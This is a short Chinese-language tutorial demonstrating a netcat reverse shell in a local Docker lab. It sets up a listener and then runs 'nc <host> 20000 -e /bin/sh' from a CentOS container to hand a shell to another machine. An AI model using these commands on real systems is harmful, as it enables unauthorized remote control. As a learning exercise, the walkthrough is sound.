安全基本操作-nc反弹shell演练

前言

在一些安全文章中,经常提到nc反弹shell提权。而什么nc反弹shell呢,一直没搞懂。
今天特地本地操作下。

nc全称为netcat,所做的就是在两台电脑之间建立链接,并返回两个数据流

在网络渗透中,经常遇到在远程服务器操作shell不方便或者限制。此时就需要nc 反弹shell

该操作就是可以在另外一台电脑执行目标电脑的shell命令。非常方便。

  • 搭建一个目标服务器
  • 这里选择使用docker来处理,选择常见的centos镜像。最新的。

  • 启动一个容器
  • docker run -d centos:latest /bin/sh -c "while true; do echo hello world; sleep 1; done"
    9c5是我本地容器的id
    
    docker exec -it 9c5 /bin/bash
    
  • 安装nc指令
    由于镜像没有nc指令,需要自己安装。通常正常的服务器都会有该指令的。
  • yum install nc
    
  • 启动监听服务。
  • 在另外一台电脑启动监听。

    这里我使用的容器所在的宿主电脑。

    只需要确保你的电脑可以被目标服务器通过ip地址 访问到即可。

    nc -vv -l -p 20000
    

    查看下启动监听服务的电脑ip。这里我的ip 是 172.16.0.2
    如果你选择的是某云服务器,应该是公网ip地址。

    切换到容器,
    nc 172.16.0.2   20000 -e /bin/sh
    

    此时查看宿主电脑,应该有提示消息。如下图。